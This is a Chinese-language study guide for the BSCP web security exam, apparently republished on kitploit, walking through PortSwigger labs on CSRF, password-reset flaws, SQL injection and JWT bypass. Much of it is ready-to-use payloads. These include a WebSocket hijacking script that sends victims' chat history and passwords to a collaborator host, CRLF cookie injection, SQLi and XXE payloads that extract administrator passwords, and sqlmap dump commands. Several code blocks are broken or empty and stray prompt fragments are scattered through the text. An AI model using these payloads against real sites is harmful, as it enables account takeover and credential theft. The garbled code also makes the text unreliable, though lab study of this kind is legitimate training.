如果登录认证使用随机令牌来防止暴力破解,并且该令牌在每次登录 POST 中都会使用,则可以使用 Burp 宏来绕过该保护。

创建 Burp 宏

  1. 打开代理设置,在项目选项下选择 会话。
  2. 向下滚动到 Macros,然后添加新宏。
  3. 从列表中选择要使用的 请求,以获取要使用的值。
  4. 点击 Configure item,并添加要提取的自定义参数位置。
  5. 点击 确定 返回项目选项下的会话。
  6. 添加一个会话处理 规则,编辑器对话框将打开。
  7. 在对话框中,转到“范围”选项卡。
  8. 在会话处理规则编辑器的范围内,勾选 Target、Intruder 和 Repeater。
  9. 仍在“URL 范围”下,选择 Include all URLs。
  10. 关闭设置。

如何在 Burp Suite Professional 中创建宏

PortSwigger 实验:无限货币逻辑缺陷 - 展示如何创建 Burp 宏


权限提升

CSRF 账户接管

OAuth
Referer 验证 CSRF
存在 Referer 头
LastSearchTerm
CSRF 在 Cookie 中重复
存在 CSRF 令牌
是否已登录
CSRF 无防御
SameSite Strict 绕过
SameSite Lax 绕过

跨站请求伪造(CSRF)漏洞允许攻击者强制用户执行他们本不打算执行的操作。这可以使攻击者更改受害者的电子邮件地址,并利用密码重置来接管账户。

OAuth

oAuth 关联攻击:在攻击服务器上托管 iframe,然后将其发送给受害者,强制用户更新已关联的代码。

csrf

拦截 GET /oauth-linking?code=[...] 请求,将其发送到 Repeater 以保存 code。丢弃 该请求。重要的是确保该 code 未被使用且仍然有效。在攻击服务器上保存一个 iframe,其 src 属性指向你刚复制的 URL。```html

root@kitploit:~
[PortSwigger 实验室:强制 OAuth 配置文件关联](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  

### Referer 验证 CSRF  

>***识别*** 更改电子邮件功能是否易受 CSRF 攻击,方法是通过观察当 **Referer** 标头值被更改时,响应给出的消息为 `Invalid referer header`;当 referrer 值在任意位置包含预期的目标域时,电子邮件更改会被接受。  

![识别 csrf referer 标头检查](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>将目标的原始域名添加到 **Referer 标头**中,并以查询字符串形式附加 `history.pushState('', '', '/?TARGET.net');`,从而允许更改电子邮件操作生效。```html
Referrer-Policy: unsafe-url

注意: 与正常的 Referer 头拼写不同,上述漏洞利用服务器的 head 部分中的单词 "referrer" 必须拼写正确。

Referer csrf

创建 CSRF 概念验证漏洞利用并将其托管在漏洞利用服务器上。编辑 JavaScript,使 history.pushState() 函数的第三个参数包含带有目标 URL 的查询字符串。```html

``` >当上述利用载荷发送给受害者时,CSRF POC载荷会将受害者邮箱改为**[email protected]**,因为Referer头中包含目标值。在***BSCP***考试中,请注意你的```hacker@exploit```服务器邮箱地址,以便在账户接管中使用。

PortSwigger实验室:CSRF与失效的Referer验证

Referer 头存在

在更新邮箱请求中,当更改referer头时,响应显示Invalid referer header,表明存在CSRF漏洞。使用<meta name="referrer" content="no-referrer">作为漏洞利用服务器CSRF PoC的一部分,可以绕过此控制。这会指示漏洞利用服务器在向受害者发送漏洞利用时不带referer头。```html

``` >这是一个交互式漏洞利用;在 BSCP 考试中,如果阶段 1 的漏洞利用是非交互式的,那么可以通过让管理员点击链接来更改其密码,从而获得管理员交互。注意检查更改电子邮件页面的 `source code` 中是否有任何额外的 form id 值。

csrf referer 存在

PortSwigger 实验室:Referer 验证依赖于存在标头时的 CSRF

LastSearchTerm

识别 CSRF 漏洞,其中令牌未绑定到非会话 cookie,通过更改 csrfkey cookie 并观察请求被拒绝的结果。观察包含用户从搜索参数提供的输入的 LastSearchTerm cookie 值。

identify-csrf-non-session-tied.png

搜索功能没有 CSRF 保护,请创建以下 payload,注入换行符 %0d%0a 以在响应中设置新的 cookie 值,并利用此方法向受害者用户的浏览器注入 cookie。``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None

root@kitploit:~
>生成 CSRF POC,启用包含 **auto-submit** 脚本的选项,然后点击 **Regenerate**。移除 **auto-submit** 脚本代码块,改为添加以下内容,并将 ```history.pushState``` 脚本代码放在 body 头部下方。IMG SRC 标签的 **onerror** 事件将改为提交 CSRF POC。```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

During BSCP 考试 期间,将邮件更改值设置为漏洞利用服务器 [email protected] 的邮箱地址。然后您可以使用重置功能更改管理员密码。

csrf set cookie poc

在下面的 CSRF PoC 代码中,隐藏的 csrf 值是由 更改电子邮件 功能生成的值,而 img src 中的 csrfkey 值是受害者的值,通过以受害者提供的凭据登录获得。不确定考试中是否会遇到,但在现实世界中这是需要执行的测试。```html

``` [PortSwigger 实验室:令牌绑定到非会话 Cookie 的 CSRF](https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie)

Cookie 中重复的 CSRF

在目标中,我们识别出 CSRF 密钥令牌在 Cookie 值中被重复使用。另一个指标是 Cookie LastSearchTerm 包含所搜索的值。通过提供包含 %0d%0a 的搜索值,我们可以注入行尾和换行字符,从而创建新的 CSRF Cookie 和值。

设置伪造的 CSRF Cookie

在利用代码的 img src 标签中,我们将 csrf 的 Cookie 设置为 fake。```html

``` ![csrf 重复 cookie](https://assets.kitploit.com/production/public/readmes/51008/67ac727205b3321a5f0b6263b9fa5e6c0a1e567e4605f7c47edf3f949a6f6239/6622e0aac8672c17f7b081ac3af58e6665f1b77375e5f3ef2efcfe58c30216fd-display-v1.webp)

PortSwigger 实验室:令牌在 Cookie 中重复的 CSRF

CSRF 令牌存在

更改 csrf 参数的值会导致更改电子邮件请求被拒绝。删除 CSRF 令牌则允许更改电子邮件请求被接受,这表明仅验证令牌是否存在的机制存在漏洞。

托管在漏洞利用服务器上的 CSRF PoC 载荷:```html

``` ![csrf 存在性验证失败](https://assets.kitploit.com/production/public/readmes/51008/799f288a181bfb513f77125ec652d0d40e33878c81e230b3fcf6681fca926b50/bc205b49b4f58d8a51215bc9f7cbaa2f312f03f3ed524f7ee7778a223c1b7748-display-v1.webp)

PortSwigger 实验:CSRF,其中令牌验证取决于令牌是否存在

是否已登录

如果识别到名为 isloggedin 的 cookie,则刷新管理员密码的 POST 请求可能被利用。
以低权限用户身份登录时,将 username 参数改为 administrator。
CSRF 令牌不与用户会话绑定。```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

csrf=TOKEN&username=administrator

root@kitploit:~
![CSRF 权限提升](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  
  
### CSRF 无防御  

>目标对电子邮件更改功能没有任何防御措施,因此可能允许权限提升到管理员角色。在考试中,将电子邮件更改为利用服务器上的 `[email protected]` 电子邮件地址,可以让攻击者更改管理员用户的密码,从而导致权限提升。  
>在考试中只有***一个***活跃用户,如果前一阶段是通过不需要活跃用户点击链接的攻击完成的,例如执行缓存投毒或通过 `Deliver to Victim` 功能进行钓鱼攻击,那么就可以使用 CSRF 更改漏洞利用。  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger 实验:无防御的 CSRF 漏洞](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### SameSite Strict 绕过  

>在实时聊天功能中,我们注意到 `GET /chat HTTP/2` 请求不使用任何不可预测的令牌,如果可能绕过 [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) Cookie 限制,这可以***识别***潜在的[跨站 WebSocket 劫持](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)(CSWSH)漏洞。  

>在利用服务器上托管 POC 载荷以***识别*** CSWSH 漏洞。```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

会话 Cookie 设置了 SameSite=Strict,这可以防止浏览器在 XSS 跨站请求中携带这些 Cookie。我们在向 cms- 子域发送的附加脚本和图片请求中识别到了 Access-Control-Allow-Origin 请求头。
浏览到该 cms- CDN 子域,然后识别到随机用户名输入被反射,确认这是一个反射型 XSS 漏洞。

cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass

root@kitploit:~
>通过对下面的整个脚本进行 URL 编码,并将其用作托管在 exploit server 上的 CDN 子域 `cms-` 用户名登录的输入,从而绕过 SameSite 限制。```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

将以下内容托管在漏洞利用服务器上并传递给受害者,一旦协作者收到受害者的聊天记录及其密码,就会导致账户接管。```

root@kitploit:~
>聊天记录中包含受害者的密码。

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger 实验:通过兄弟域绕过 SameSite Strict](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### SameSite Lax 绕过  

>注意,如果你访问 `/social-login`,它会自动启动完整的 OAuth 流程。如果你与 OAuth 服务器之间仍有已登录的会话,这一切都会自动发生,无需任何交互。并且,在代理历史中,注意每次你完成 OAuth 流程时,目标站点都会设置一个新的会话 cookie,即使你已经登录过。  

>使用以下 JavaScript 绕过弹窗拦截器,诱导受害者点击页面,并且仅在受害者点击后才打开弹窗。该漏洞利用 JavaScript 代码首先强制受害者的浏览器访问 `/social-login` 来刷新受害者的会话,然后在短暂暂停后提交邮箱更改请求。将漏洞利用代码发送给受害者。```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

PortSwigger 实验室:通过 Cookie 刷新绕过 SameSite Lax


密码重置

刷新密码的缺陷逻辑
当前密码
时间敏感的密码令牌

刷新密码的缺陷逻辑

如果应用程序的刷新密码功能存在缺陷,则可利用此漏洞识别有效账户或获取密码重置令牌。这可能导致识别有效用户账户或实现权限提升。

这类漏洞不需要应用程序上的活跃用户与漏洞利用进行交互,也不需要任何用户点击链接或进行交互。请注意这类不需要应用程序活跃用户的漏洞对 BSCP 考试的意义,因为在考试的下一阶段,可以使用例如发送给受害者的其他交互式钓鱼链接。

在 /forgot-password 页面的源代码中,识别到用户名是一个隐藏字段。

密码重置隐藏用户名

通过删除 URL 和请求正文中的 temp-forgot-password-token 参数来利用 POST 请求。将 username 参数更改为 carlos。

Temp-forgot-password-token

PortSwigger 实验室:密码重置的缺陷逻辑

当前密码

识别到“更改密码”功能不需要 current-password 参数即可设置新密码,且其密码将被更改的用户由 POST 参数 username=administrator 决定。
在 PortSwigger 实验室中,他们会为您提供 wiener:peter 的凭据,这模拟了在考试第一阶段获得低级用户访问权限的情况。在考试中,此密码重置漏洞是无需活跃用户交互即可将您的访问权限提升为管理员的示例。

拦截 /my-account/change-password 请求,由于 csrf 令牌是单次随机使用的值,因此设置 username=administrator 并移除 current-password 参数。

无需当前密码即可更改密码

PortSwigger 实验室:双用途端点的弱隔离

时间敏感的密码令牌

目标站点使用时间戳生成哈希密码重置令牌 URL。

同时对两个不同的用户发送并行的强制密码重置请求,
将导致生成重复且匹配的令牌,因为后端使用相同的时间戳生成重置令牌。

我们自己的用户 carlos 会在其电子邮件中收到重置令牌 URL,然后编辑 URL 中的名称,使其与目标受害者用户 administrator 匹配。

portswigger_race_condition_force-forgot-password-tokenz.png

PortSwigger 实验室:利用时间敏感型漏洞

参考资料:API University 与 PortSwigger 实验室学习笔记


SQL 注入

盲注时间延迟
盲注 SQLi
无迹象的盲注 SQLi
条件响应的盲注 SQLi
Oracle
SQLMAP
非 Oracle 手动 SQLi
可视化基于错误的 SQLi
HackTheBox CPTS SQL 注入基础

基于错误或盲注的 SQL 注入漏洞,可使应用程序中的 SQL 查询被用于从数据库提取数据或登录凭据。SQLMAP 用于快速推进漏洞利用并检索敏感信息。

识别 SQLi:向 Web 参数或跟踪 Cookie 添加双引号 (") 或单引号 ('),如果这会破坏 SQL 语法并导致错误消息响应,则识别到阳性 SQL 注入。如果未观察到错误或条件消息,请测试盲注时间延迟载荷。

SQL 注入速查表示例

识别易受 SQL 注入攻击的输入参数

盲注时间延迟

带有时间延迟的盲 SQL 注入很难识别,模糊测试需要根据经验进行猜测,正如 OffSec 在 OSCP 中教导我的那样。如果识别到阳性 SQL 注入,下面的载荷将执行条件判断,将响应延迟 10 秒。

识别 SQLi 漏洞。在 Burp 模拟考试第二阶段中,高级搜索过滤器存在 PostgreSQL 注入漏洞。我发现使用 SQLMAP 识别和利用模拟考试中高级搜索的漏洞比较棘手。在此处模拟考试中手动利用 SQL 注入时间延迟。```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--

root@kitploit:~
>[URL 编码](https://www.urlencoder.org/) `PostgreSQL` 载荷。```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

确定管理员用户的密码中有多少个字符。为此,递增 >1 条件检查后面的数字。```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

root@kitploit:~
![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>使用 CLUSTER Bomb 攻击,针对密码中字符位置的每种排列重新运行攻击,以确定字符值。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

使用 CLUSTER bomb 攻击类型,包含两个 payload,第一个用于密码长度 1..20,第二个使用字符 a..z 和数字 0..9。在 intruder 攻击结果中添加 Response Received 列进行排序,并将 10 秒或更长的延迟视为正向响应。

blind CLUSTER bomb SQLi

PortSwigger 实验:带时间延迟和信息检索的盲 SQL 注入

练习考试 PostgreSQL 时间延迟

在 Burp 练习考试第 2 阶段中,SQL 注入不是使用单引号 ' 转义,而是使用分号 ;,然后将其 URL 编码为 %3B。```SQL %3BSELECT+pg_sleep(7)--

root@kitploit:~
![练习考试第2阶段时间延迟SQL注入](https://assets.kitploit.com/production/public/readmes/51008/591c6c93d17a4fad71c84924b82f6b102cdcb7403345fc89a25393801b5f4fcb/3de53e0a110faccc64ec3df7bb827afceaec12b28fb13de0e6e942ebdda4cbc8-display-v1.webp)  

>借助 Intruder 的 CLUSTER bomb 攻击,可在一次攻击中利用下方载荷中的两个载荷位置提取出密码。```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

Burp 实践考试管理门户的第 3 阶段需要利用 不安全的反序列化 Cookie 值。

盲 SQL 注入

目标容易受到使用盲 SQL 利用查询进行的带外数据外泄攻击。在本例中为 trackingID Cookie。以下是 SQL 注入与 XXE 载荷的组合,用于利用该漏洞并将管理员密码作为 DNS 请求发送到 Collaborator 服务。```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--

root@kitploit:~
![带外数据外泄的盲SQL注入](https://assets.kitploit.com/production/public/readmes/51008/77ecbd2fb851d947a64ea7f80ed8d2edfae3c11ce5990b5dab193d0089ede73f/34f35502299c43e70be75fe5ad7a9ca416d47c6d5aa53ca52945e7ad54fd72e3-display-v1.webp)  
  
[PortSwigger 实验:带外数据外泄的盲SQL注入](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)  
  
>上述SQL载荷也可用于提取此 [PortSwigger 实验:基于条件错误的盲SQL注入](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) 挑战的管理员密码。  

### 无回显的盲SQLi  

>在 ```trackingid``` cookie 或搜索参数 `/search_advanced?searchTerm='` 的末尾放置一个单引号,可能会得到 `500 Internal Server Error` 响应。进行合理的猜测,使用下面的盲SQLi载荷并结合基本的XXE技术,然后向协作服务器发起调用,但不会外泄任何数据。```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

SQLi XXE

附加的 SQLi 载荷,附 XML 作为参考,使用 || SQL 串联运算符来串联两个表达式(求值为两个字符数据类型或数值数据类型),并进行一些混淆。``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'

root@kitploit:~
[OAST - 带外应用安全测试](https://portswigger.net/burp/application-security-testing/oast)  

[PortSwigger 实验室:带外交互的盲 SQL 注入](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)  
  
### 盲 SQL 注入条件响应

>这种盲 SQL 注入通过响应中的细微消息差异来***识别***。当发送有效的真 SQL 查询时,响应中包含 ```Welcome back``` 字符串。无效的假 SQL 查询语句不包含响应中的条件消息。```
' AND '1'='1

用于识别响应中不存在条件消息的虚假 SQL 语句。``` ' AND '1'='2

root@kitploit:~
>确定管理员用户的密码中有多少个字符。为此,请在 intruder 的**设置选项卡**中,将 SQL 语句的值改为 and,位置在“Grep - Match”部分。清除列表中的所有现有条目,然后将值 ```Welcome back``` 添加到 ***识别*** 真实条件。```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

下一步是测试每个位置的字符以确定其值。这涉及数量大得多的请求。``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

root@kitploit:~
![sqli conditional response](https://assets.kitploit.com/production/public/readmes/51008/2fa952e19084d8cf044ee00c0af0758f5a2525b6e3eb130e782d5e6e477ab7fa/775c0bc6baba6015d2d25f55994918b7720989ba2c1dad81e807ad893028bc91-display-v1.webp)  

>另一种方式是使用 **CLUSTER Bomb** 攻击,并设置 **两个** payload 位置:第一个用于字符位置,payload 为数字 ```1..20```;第二个位置使用字母和数字字符,这将遍历所有 payload 组合的每种排列。  

![CLUSTER bomb](https://assets.kitploit.com/production/public/readmes/51008/2612fb60c5db8b49266cf925197eb38930d733d225b304e8803298c38bec168e/61ae6550d59a539ec054efdaad8ed27be2f83c3501b78e0072699009e1b66f03-display-v1.webp)  

[PortSwigger 实验:基于条件响应的盲 SQL 注入](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)  
  
### Oracle  

>通过向 `category` 参数值末尾添加一个**单引号**,并观察到 `500 Internal Server Error` 响应,从而发现了 SQL 注入。  
  
>检索 Oracle 数据库中的表列表:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--

Oracle payload,用于检索表中列的详细信息。``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--

root@kitploit:~
>用于从 Users_XXX 表中检索用户名和密码的 Oracle 载荷。```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

PortSwigger 实验室:SQL 注入攻击,列出 Oracle 上的数据库内容

SQLMAP

在 PortSwigger 实践考试 APP 中,我们通过在高级搜索功能中添加单引号来 识别 SQLi,响应结果为 HTTP/2 500 Internal Server Error。

以下是我关于使用 SQLMAP 示例绕过基础防护 WAF 机制的 HackTheBox CPTS 学习笔记。SQLMAP Essentials - Cases

在对 SQLMAP 版本 1.7.2#stable 和 1.6 进行了一些测试后,我发现两者都能够利用 PortSwigger 实践考试。参考 bmdyy 使用 SQLMAP 完成实践考试 的演练以了解所使用的参数。

PortSwigger 论坛帖子 - SQLMAP

我参加了实践考试,并使用以下 payload 成功利用了 SQLi。``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5

root@kitploit:~
![SQLMAP 用于从表中转储数据](https://assets.kitploit.com/production/public/readmes/51008/e91562db7de520c05b332d6ea72d4fd6ce995a1a990df232da525c2f43cadf7f/74ef860e904c08dc72a71d2fc729d39c847fce7675ee88d18347351f729240e5-display-v1.webp)  

>这也是一个很好的开端:在考试的高级搜索过滤器中,使用 SQLMAP ***识别*** 并从敏感的错误型时间延迟 SQL 注入中提取数据。```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

sqlmap 1.7.2 稳定版

SQLMAP 使用帮助

SQLMAP DBS 用于获取数据库。``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs

root@kitploit:~
>使用 SQLMAP 转储从 `public` 数据库中识别出的表。```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

继续使用 SQLMAP E 技术获取 users 内容。``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump

root@kitploit:~
### 非 Oracle 手动 SQLi  

>SQL 注入 UNION 攻击,确定查询返回的**列数**。```SQL
'+UNION+SELECT+NULL,NULL--

确定返回了两列。找到一个包含text的列,用于回显提取的信息。```SQL '+UNION+SELECT+'fuzzer',NULL--

root@kitploit:~
>接下来***识别***数据库中**表**的列表。```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

可选: 从其他表检索数据,使用 payload 下方的代码检索 users 表的内容。```SQL '+UNION+SELECT+username,+password+FROM+users--

root@kitploit:~
>检索 ***users*** 表中**列**的名称。```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

最后一步是从用户名和密码列中转储数据。```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--

root@kitploit:~
>**额外:** 如果只能从一个列提取文本数据,那么可以使用数据库中的 SQL 语法 ```||``` 字符,将多个值连接到一个反射输出字段中。```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

manual-sqli.png

PortSwigger 实验室:SQL 注入攻击,在非 Oracle 数据库中列出数据库内容

可视化错误型 SQL 注入

在 TrackingId Cookie 值的末尾添加一个单引号,我们可以根据响应中的消息 识别 并确认 SQL 注入。

identify-visual-error-based-sqli.png

这两个载荷验证了管理员记录是第一行记录,然后从数据库的 user 表中检索 Administrator 账户的密码,提取自 username 和 password 列。``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;

TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;

root@kitploit:~
>由于 cookie 值长度限制,payload 通过使用 `limit 1` 缩短,实际 cookie 值替换为单个字母 `x`。SQL 注入使用了 [CAST 函数](https://portswigger.net/web-security/sql-injection/blind)。  

![SQL 注入 CAST 函数](https://assets.kitploit.com/production/public/readmes/51008/8cbe3158f15d53a4fd4b4871f9ac4d84b3afe63769c73e89305d9df5690b6b81/67b43c731a975eaa82e1bb9bee41c17f69d0d82d9b61a9f34ca38680adb38969-display-v1.webp)  

[PortSwigger 实验室:基于可见错误的 SQL 注入](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)  

-----

## JWT  

[通过 JWK 绕过 JWT](#manual-sqli)  
[JWT 弱密钥](#jwt-weak-secret)  
[JWT kid 标头](#jwt-kid-header)  
[JWT 任意 jku 标头](#jwt-arbitrary-jku-header)  


>JSON Web 令牌(JWT)用于发送经过加密签名的 JSON 数据,并且最常用于在身份验证、会话处理和访问控制中发送有关用户的信息(“声明”)。  

### 通过 JWK 绕过 JWT  

>Burp 扫描器将服务器中的漏洞***识别***为**支持 JWT 自签名 JWK 标头**。可通过提供的密钥来源检查失败来利用该漏洞。  
>**jwk(JSON Web 密钥)** - 提供一个表示密钥的内嵌 JSON 对象。  

>通过 jwk 标头注入进行身份验证绕过的利用步骤:  

1. 新建 RSA 密钥  
2. 在请求的 JWT payload 中,将 **sub 声明** 的值更改为 administrator  
3. 选择 Attack,然后选择带有新生成的 RSA 密钥的 **Embedded JWK**  
4. 观察到 ```jwk``` 参数现在包含我们的公钥,发送请求后即可访问管理员门户  
  
![jwk 标头](https://assets.kitploit.com/production/public/readmes/51008/ce35d027fc88ad31fd8b852c8ad1913fd2f5bd8b08923304b385f7023aa0ccb2/3b8f9b446cebdaefc49adb6838972ef19bdd5a66dac508eb888a5ba5305292e4-display-v1.webp)  

[PortSwigger 实验室:通过 jwk 标头注入绕过 JWT 身份验证](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)  

### JWT 弱密钥  

>使用 `hashcat` 暴力破解弱 JWT 签名密钥。```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

Hashcat 结果提供了该机密,用于生成伪造的签名密钥。

PortSwigger JWT 认证绕过(通过弱签名密钥)

JWT kid 标头

基于 JWT 的会话处理机制。为了验证签名,服务器使用 JWT 标头中的 kid 参数从其文件系统中获取相应的密钥。
生成一个新的对称密钥,并将 k 属性替换为 base64 空字节 AA==,供签署 JWT 时使用。
kid(密钥 ID) - 提供一种 ID,服务器可在有多个密钥可供选择时用于识别正确的密钥。

JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }

root@kitploit:~
>载荷```
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

jwt

PortSwigger 实验:通过 kid 标头路径遍历绕过 JWT 身份验证

JWT 任意 jku 标头

Burp 扫描器识别出漏洞,指出应用程序似乎信任手动插入点中发现的 JWT 的 jku 标头。它从该标头中提供的任意 URL 获取公钥,并尝试使用该公钥验证签名。
jku(JSON Web Key Set URL) - 提供一个 URL,服务器可以从该 URL 获取包含正确密钥的密钥集。

利用步骤:上传恶意 JWK 集,然后修改并签名 JWT:

  1. 自动生成新的 RSA 密钥对,并忽略其大小。
  2. 在漏洞利用服务器主体中创建空的 JWK { "keys": [ ] }。
  3. 从上一步生成的新 RSA 密钥对中将公钥复制为 JWK,放在漏洞利用主体方括号 [ paste ] 之间。
  4. 将生成的 RSA 密钥的 kid 值复制到 /admin 请求的 JWT 标头 kid 值中。
  5. 将新的 jku 参数设置为漏洞利用服务器 URL https://exploit-server.net/exploit 的值。
  6. 将 JWT 负载中的 sub 声明值更改为 administrator。
  7. 在 repeat 中的 /admin 请求上,在 JSON Web Token 选项卡底部点击 Sign。
  8. 在 Sign 选项中,然后选择前面步骤中生成的 RSA signing key。
  9. 发送请求,即可访问管理门户。

jwt-jku-header-setup.png

托管 JWK 公钥内容的漏洞利用服务器。```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}

root@kitploit:~
![jwt-jku-header-exploit-server.png](https://assets.kitploit.com/production/public/readmes/51008/9a204d1ac713ebb90c2a2ea1d3d0262157863148f44b10dfe3fb57d32e84e476/2cb0be1ecadaf45760b6c769e2060fb2dce33895d631682e9f61e356700446c6-display-v1.webp)  

